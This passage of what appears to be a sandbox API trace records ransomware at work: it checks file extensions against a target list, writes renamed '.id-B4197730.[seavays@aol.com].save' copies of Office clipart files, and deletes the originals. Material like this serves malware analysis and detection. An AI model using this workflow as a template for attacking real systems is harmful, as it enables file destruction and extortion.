(lpString=".ppt") returned 4 [0159.674] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.674] lstrlenW (lpString=".zip") returned 4 [0159.674] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.674] lstrlenW (lpString=".rar") returned 4 [0159.674] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.674] lstrlenW (lpString=".bz2") returned 4 [0159.674] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.674] lstrlenW (lpString=".7z") returned 3 [0159.674] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.674] lstrlenW (lpString=".dbf") returned 4 [0159.674] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.674] lstrlenW (lpString=".1cd") returned 4 [0159.674] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.674] lstrlenW (lpString=".jpg") returned 4 [0159.674] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.674] lstrlenW (lpString=".doc") returned 4 [0159.674] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.674] lstrlenW (lpString=".docx") returned 5 [0159.674] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0159.675] lstrlenW (lpString=".pdf") returned 4 [0159.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.675] lstrlenW (lpString=".xls") returned 4 [0159.675] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.675] lstrlenW (lpString=".xlsx") returned 5 [0159.675] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0159.675] lstrlenW (lpString=".ppt") returned 4 [0159.675] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.675] lstrlenW (lpString=".zip") returned 4 [0159.675] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.675] lstrlenW (lpString=".rar") returned 4 [0159.675] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.675] lstrlenW (lpString=".bz2") returned 4 [0159.675] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.675] lstrlenW (lpString=".7z") returned 3 [0159.675] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.675] lstrlenW (lpString=".dbf") returned 4 [0159.675] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.675] lstrlenW (lpString=".1cd") returned 4 [0159.675] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.675] lstrlenW (lpString=".jpg") returned 4 [0159.675] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.676] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0159.676] lstrlenW (lpString="kor-kor.xml") returned 11 [0159.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.677] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=392) returned 1 [0159.677] CloseHandle (hObject=0x390) returned 1 [0159.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0159.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0159.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0159.677] lstrlenW (lpString=".doc") returned 4 [0159.677] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.677] lstrlenW (lpString=".docx") returned 5 [0159.677] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0159.677] lstrlenW (lpString=".pdf") returned 4 [0159.677] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.677] lstrlenW (lpString=".xls") returned 4 [0159.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.678] lstrlenW (lpString=".xlsx") returned 5 [0159.678] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0159.678] lstrlenW (lpString=".ppt") returned 4 [0159.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0159.678] lstrlenW (lpString=".zip") returned 4 [0159.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.678] lstrlenW (lpString=".rar") returned 4 [0159.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.678] lstrlenW (lpString=".bz2") returned 4 [0159.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.678] lstrlenW (lpString=".7z") returned 3 [0159.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0162.237] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.237] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0162.238] GetLastError () returned 0x0 [0162.238] ReadFile (in: hFile=0x37c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0xcd2, lpOverlapped=0x0) returned 1 [0162.256] WriteFile (in: hFile=0x3cc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xce0, lpOverlapped=0x0) returned 1 [0162.257] ReadFile (in: hFile=0x37c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.257] WriteFile (in: hFile=0x3cc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.257] SetEndOfFile (hFile=0x3cc) returned 1 [0162.257] CloseHandle (hObject=0x3cc) returned 1 [0162.257] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.257] SetEndOfFile (hFile=0x37c) returned 1 [0162.260] CloseHandle (hObject=0x37c) returned 1 [0162.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0162.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0162.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.261] lstrlenW (lpString=".doc") returned 4 [0162.262] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.262] lstrlenW (lpString=".docx") returned 5 [0162.262] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0162.262] lstrlenW (lpString=".pdf") returned 4 [0162.262] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.262] lstrlenW (lpString=".xls") returned 4 [0162.262] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.262] lstrlenW (lpString=".xlsx") returned 5 [0162.262] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0162.262] lstrlenW (lpString=".ppt") returned 4 [0162.262] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.262] lstrlenW (lpString=".zip") returned 4 [0162.262] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.262] lstrlenW (lpString=".rar") returned 4 [0162.262] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.262] lstrlenW (lpString=".bz2") returned 4 [0162.262] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.262] lstrlenW (lpString=".7z") returned 3 [0162.262] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.262] lstrlenW (lpString=".dbf") returned 4 [0162.262] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.262] lstrlenW (lpString=".1cd") returned 4 [0162.262] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.262] lstrlenW (lpString=".jpg") returned 4 [0162.262] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.263] lstrlenW (lpString=".doc") returned 4 [0162.263] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.263] lstrlenW (lpString=".docx") returned 5 [0162.263] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0162.263] lstrlenW (lpString=".pdf") returned 4 [0162.263] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.263] lstrlenW (lpString=".xls") returned 4 [0162.263] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.263] lstrlenW (lpString=".xlsx") returned 5 [0162.263] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0162.263] lstrlenW (lpString=".ppt") returned 4 [0162.263] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.263] lstrlenW (lpString=".zip") returned 4 [0162.263] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.263] lstrlenW (lpString=".rar") returned 4 [0162.263] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.263] lstrlenW (lpString=".bz2") returned 4 [0162.263] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.263] lstrlenW (lpString=".7z") returned 3 [0162.263] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.263] lstrlenW (lpString=".dbf") returned 4 [0162.263] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.263] lstrlenW (lpString=".1cd") returned 4 [0162.264] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0162.264] lstrlenW (lpString=".jpg") returned 4 [0162.264] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.264] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0162.264] lstrlenW (lpString="J0099186.JPG") returned 12 [0162.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0162.265] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=16738) returned 1 [0162.265] CloseHandle (hObject=0x37c) returned 1 [0162.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0162.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0162.265] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.265] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0162.266] GetLastError () returned 0x0 [0162.266] ReadFile (in: hFile=0x37c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x4162, lpOverlapped=0x0) returned 1 [0162.744] WriteFile (in: hFile=0x3cc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4170, lpOverlapped=0x0) returned 1 [0162.746] ReadFile (in: hFile=0x37c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.746] WriteFile (in: hFile=0x3cc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.746] SetEndOfFile (hFile=0x3cc) returned 1 [0163.072] CloseHandle (hObject=0x3cc) returned 1 [0163.072] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.072] SetEndOfFile (hFile=0x37c) returned 1 [0163.076] CloseHandle (hObject=0x37c) returned 1 [0163.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0163.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0163.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.117] lstrlenW (lpString=".doc") returned 4 [0163.117] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.117] lstrlenW (lpString=".docx") returned 5 [0163.117] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0163.117] lstrlenW (lpString=".pdf") returned 4 [0163.117] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.117] lstrlenW (lpString=".xls") returned 4 [0163.117] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.117] lstrlenW (lpString=".xlsx") returned 5 [0163.117] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0163.117] lstrlenW (lpString=".ppt") returned 4 [0163.117] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.117] lstrlenW (lpString=".zip") returned 4 [0163.117] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.117] lstrlenW (lpString=".rar") returned 4 [0163.117] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.117] lstrlenW (lpString=".bz2") returned 4 [0163.117] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.117] lstrlenW (lpString=".7z") returned 3 [0163.117] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.118] lstrlenW (lpString=".dbf") returned 4 [0163.118] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.118] lstrlenW (lpString=".1cd") returned 4 [0163.118] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.118] lstrlenW (lpString=".jpg") returned 4 [0163.118] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.118] lstrlenW (lpString=".doc") returned 4 [0163.118] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.118] lstrlenW (lpString=".docx") returned 5 [0163.118] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0163.118] lstrlenW (lpString=".pdf") returned 4 [0163.118] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.118] lstrlenW (lpString=".xls") returned 4 [0163.118] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.118] lstrlenW (lpString=".xlsx") returned 5 [0163.118] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0163.118] lstrlenW (lpString=".ppt") returned 4 [0163.118] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.118] lstrlenW (lpString=".zip") returned 4 [0163.118] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.118] lstrlenW (lpString=".rar") returned 4 [0163.118] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.118] lstrlenW (lpString=".bz2") returned 4 [0163.118] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.118] lstrlenW (lpString=".7z") returned 3 [0163.118] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.119] lstrlenW (lpString=".dbf") returned 4 [0163.119] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.119] lstrlenW (lpString=".1cd") returned 4 [0163.119] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0163.119] lstrlenW (lpString=".jpg") returned 4 [0163.119] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.119] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0163.119] lstrlenW (lpString="J0099194.GIF") returned 12 [0163.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0163.120] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=25265) returned 1 [0163.120] CloseHandle (hObject=0x434) returned 1 [0163.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0163.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0163.120] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.120] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0163.121] GetLastError () returned 0x0 [0163.121] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x62b1, lpOverlapped=0x0) returned 1 [0163.127] WriteFile (in: hFile=0x448, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x62c0, lpOverlapped=0x0) returned 1 [0163.129] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.129] WriteFile (in: hFile=0x448, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.129] SetEndOfFile (hFile=0x448) returned 1 [0163.129] CloseHandle (hObject=0x448) returned 1 [0163.129] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.129] SetEndOfFile (hFile=0x434) returned 1 [0163.133] CloseHandle (hObject=0x434) returned 1 [0163.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 